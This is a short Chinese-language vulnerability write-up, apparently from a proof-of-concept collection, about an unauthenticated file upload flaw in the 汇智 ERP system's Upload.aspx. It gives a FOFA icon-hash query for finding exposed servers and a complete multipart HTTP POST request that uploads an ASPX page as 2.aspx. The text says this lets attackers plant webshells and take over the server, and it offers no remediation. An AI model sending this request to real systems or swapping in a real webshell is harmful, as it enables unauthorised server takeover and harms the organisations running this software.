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63 lines
1.8 KiB
Markdown
63 lines
1.8 KiB
Markdown
# 汇智ERP系统Upload.aspx存在文件上传漏洞
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汇智企业资源管理系统Upload.aspx存在文件上传漏洞，攻击者可未授权上传webshell木马文件获取服务器权限。
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## fofa
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```yaml
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icon_hash="-642591392"
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```
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## poc
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```java
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POST /nssys/common/Upload.aspx?Action=DNPageAjaxPostBack HTTP/1.1
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Host:
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Content-Length: 1033
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Content-Type: multipart/form-data; boundary= ----WebKitFormBoundaryLkkAXATqVKBHZ8zk
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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------WebKitFormBoundaryLkkAXATqVKBHZ8zk
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Content-Disposition: form-data; name="__VIEWSTATE"
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/wEPDwUJOTc0NzkxMzQ1D2QWAgIDDxYGHhdJc0JlZm9yZU9wZXJhdGVTYXZlRGF0YWgeBmlzZ3VpZAUBMR4OY2hlY2tmb3Jtc3RhdGUFATBkZHwobq1hNj9MTgjOtrIn/0gbCdhD
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------WebKitFormBoundaryLkkAXATqVKBHZ8zk
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Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"
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573D6CFB
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------WebKitFormBoundaryLkkAXATqVKBHZ8zk
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Content-Disposition: form-data; name="upfile_Input"
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------WebKitFormBoundaryLkkAXATqVKBHZ8zk
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Content-Disposition: form-data; name="upfile_upload"; filename="1"
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Content-Type: image/jpeg
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<!DOCTYPE html>
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<html>
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<head>
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<title>ASP.NET Web Forms Example</title>
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</head>
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<body>
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<%@ Page Language="C#" %>
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<% Response.Write("hello,world"); %>
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</body>
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</html>
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------WebKitFormBoundaryLkkAXATqVKBHZ8zk
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Content-Disposition: form-data; name="upfilename"
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2.aspx
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------WebKitFormBoundaryLkkAXATqVKBHZ8zk
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Content-Disposition: form-data; name="dnpostmethodname"
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uploadfile
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------WebKitFormBoundaryLkkAXATqVKBHZ8zk--
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```
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